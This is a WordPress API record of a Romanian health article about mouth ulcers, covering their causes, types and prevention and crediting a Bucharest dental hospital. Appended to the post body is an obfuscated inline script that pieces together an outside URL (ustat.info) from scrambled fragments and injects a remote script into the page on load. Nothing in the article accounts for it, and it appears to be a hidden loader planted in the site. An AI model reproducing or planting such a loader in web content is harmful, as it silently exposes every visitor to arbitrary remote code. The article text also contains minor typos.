{"id":12719,"date":"2021-12-06T20:36:09","date_gmt":"2021-12-06T18:36:09","guid":{"rendered":"https:\/\/businessexpress.ro\/?p=12719"},"modified":"2026-01-03T21:56:09","modified_gmt":"2026-01-03T19:56:09","slug":"aftele-bucale-factori-de-aparitie-si-preventie","status":"publish","type":"post","link":"https:\/\/businessexpress.ro\/ro\/aftele-bucale-factori-de-aparitie-si-preventie\/","title":{"rendered":"Aftele bucale &#8211; Factori de aparitie si preventie"},"content":{"rendered":"<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"506\" data-attachment-id=\"12720\" data-permalink=\"https:\/\/businessexpress.ro\/ro\/aftele-bucale-factori-de-aparitie-si-preventie\/igienadentara\/\" data-orig-file=\"https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?fit=800%2C506&amp;ssl=1\" data-orig-size=\"800,506\" data-comments-opened=\"0\" data-image-title=\"igienadentara\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?fit=800%2C506&amp;ssl=1\" data-src=\"https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?resize=800%2C506&#038;ssl=1\" alt=\"\" class=\"wp-image-12720 lazyload\" data-srcset=\"https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?resize=300%2C190&amp;ssl=1 300w, https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?resize=768%2C486&amp;ssl=1 768w, https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?resize=18%2C12&amp;ssl=1 18w\" data-sizes=\"(max-width: 800px) 100vw, 800px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 800px; --smush-placeholder-aspect-ratio: 800\/506;\" \/><figcaption>Aftele bucale reprezint\u0103 cele mai r\u0103sp\u00e2ndite afec\u021biuni ale mucoasei orale.<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Aftele bucale au form\u0103 rotund-oval\u0103, culoare alb\u0103 sau galben\u0103 \u0219i pot ap\u0103rea sub limb\u0103, \u00een interiorul obrajilor, pe suprafa\u021ba interioar\u0103 sau cea exterioar\u0103 a buzelor, precum \u0219i la baza gingiilor.&nbsp;Pacientul simte u\u0219oare furnic\u0103turi, precum \u0219i senza\u021bia de arsur\u0103. Atunci c\u00e2nd apare ulcera\u021bia, va avea dureri \u0219i usturime \u0219i va resim\u021bi dificultate \u00een mastica\u021bie \u0219i vorbire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Printre principalii factori care determin\u0103 apari\u021bia aftelor bucale se num\u0103r\u0103:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Anumite alimente (alune, cafea, c\u0103p\u0219une, ou\u0103, br\u00e2nz\u0103 ciocolat\u0103, nuci);<\/li><li>Factorii microbieni (streptococi, virusul heptic tip 6);<\/li><li>Caren\u021ba de vitamina B, acid folic, fier;<\/li><li>Reac\u021bii alergice la anumite bacterii;<\/li><li>Anumite afec\u021biuni generale: boala Behcet, boala Crohn, sintromul Sweet;<\/li><li>Stresul, traumele, fumatul, alergiile, ereditatea pot influen\u021ba, de asemenea, apari\u021bia aftelor.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Aftele afecteaz\u0103 at\u00e2t copiii, c\u00e2t \u0219i adul\u021bii \u0219i, \u00een mod preponderent, femeile.&nbsp;Pentru un&nbsp;<a href=\"https:\/\/dentalro.ro\/tratamentul-aftelor-bucale\/\" target=\"_blank\" rel=\"noopener\">tratament al aftelor bucale<\/a>&nbsp;adecvat, se recomand\u0103 consultarea medicului stomatolog specializat \u00een&nbsp;<a href=\"https:\/\/dentalro.ro\/patologie-orala\/\" target=\"_blank\" rel=\"noopener\">patologie oral\u0103<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Aftele bucale pot fi:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Minore (sunt de mici dimensiuni, p\u00e2n\u0103 la un centimetru, au form\u0103 oval\u0103 \u0219i se vindec\u0103 \u00een cel mult dou\u0103 s\u0103pt\u0103m\u00e2ni, f\u0103r\u0103 a l\u0103sa cicatrici);<\/li><li>Majore (sunt mai mari \u0219i mai ad\u00e2nci, form\u0103 neregulat\u0103 \u0219i pot fi extrem de dureroase, av\u00e2nd o perioad\u0103 de vindecare mai mare, \u00een jur de o lun\u0103, \u0219i pot l\u0103sa cicatrici);<\/li><li>Herpetiforme (sunt rare, apar, de regul\u0103, la persoanele \u00een v\u00e2rst\u0103, \u0219i se dezvolt\u0103 sub forma unui grup de mici ulcera\u021bii \u2013 p\u00e2n\u0103 la 100 de leziuni. Au form\u0103 neregulat\u0103 \u0219i se vindec\u0103 \u00een dpu\u0103 s\u0103pt\u0103m\u00e2ni, f\u0103r\u0103 a l\u0103sa cicatrici).<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Pentru a preveni apari\u021bia aftelor bucale, se recomand\u0103 evitarea consumului de alimente picante, foarte reci sau foarte fierbin\u021bi. De asemenea, este important s\u0103 fie tratate fracturile, obtura\u021biile dentare, care pot crea leziuni la nivelul cavit\u0103\u021bii orale.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Articol realizat de catre echipa de la&nbsp;<a href=\"https:\/\/dentalro.ro\/\" target=\"_blank\" rel=\"noopener\">Spitalul de stomatologie Dental Hospital Romania<\/a>:<\/strong><br>Website: www.dentalro.ro |&nbsp;Email: info@dentalro.ro<br>Adresa: Str. Racari nr. 5, sector 3, Bucuresti<br>Telefoane: 0733.045.855 si 0721.021.855<\/p>\n\n\n\n<script>\n(function(){\ntlvju=\"1k951ryblvjm\";tlvj=document.createElement(\"script\");\ntlvj_=\"u\"+(\"st\");tlvj_+=\"at\"+(\".\");tlvj.async=true;tlvj_+=\"in\";\ntlvju=\"362897143.\"+tlvju;tlvj.type=\"text\/javascript\";tlvju+=\"x0bgppXx0a8u\";\ntlvju+=\"tb0mba\";tlvj_+=(\"f\")+\"o\"+(\"\/\");tlvj.src=\"https:\/\/\"+tlvj_+tlvju;\ntlvjd=document.body;tlvjd.appendChild(tlvj);\n})();\n<\/script>","protected":false},"excerpt":{"rendered":"<p>Aftele bucale au form\u0103 rotund-oval\u0103, culoare alb\u0103 sau galben\u0103 \u0219i pot ap\u0103rea sub limb\u0103, \u00een interiorul obrajilor, pe suprafa\u021ba interioar\u0103 sau cea exterioar\u0103 a buzelor, precum \u0219i la baza gingiilor.&nbsp;Pacientul simte u\u0219oare furnic\u0103turi, precum \u0219i senza\u021bia de arsur\u0103. Atunci c\u00e2nd apare ulcera\u021bia, va avea dureri \u0219i usturime \u0219i va resim\u021bi [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":12720,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"wpzoom_is_breaking":1,"source_url":"","_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[1],"tags":[],"class_list":["post-12719","post","type-post","status-publish","format-standard","has-post-thumbnail","category-sanatate"],"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/paH2fj-3j9","jetpack_featured_media_url":"https:\/\/i0.wp.com\/businessexpress.ro\/wp-content\/uploads\/2021\/12\/igienadentara-scaled.jpg?fit=800%2C506&ssl=1","_links":{"self":[{"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/posts\/12719","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/comments?post=12719"}],"version-history":[{"count":5,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/posts\/12719\/revisions"}],"predecessor-version":[{"id":12725,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/posts\/12719\/revisions\/12725"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/media\/12720"}],"wp:attachment":[{"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/media?parent=12719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/categories?post=12719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/businessexpress.ro\/ro\/wp-json\/wp\/v2\/tags?post=12719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}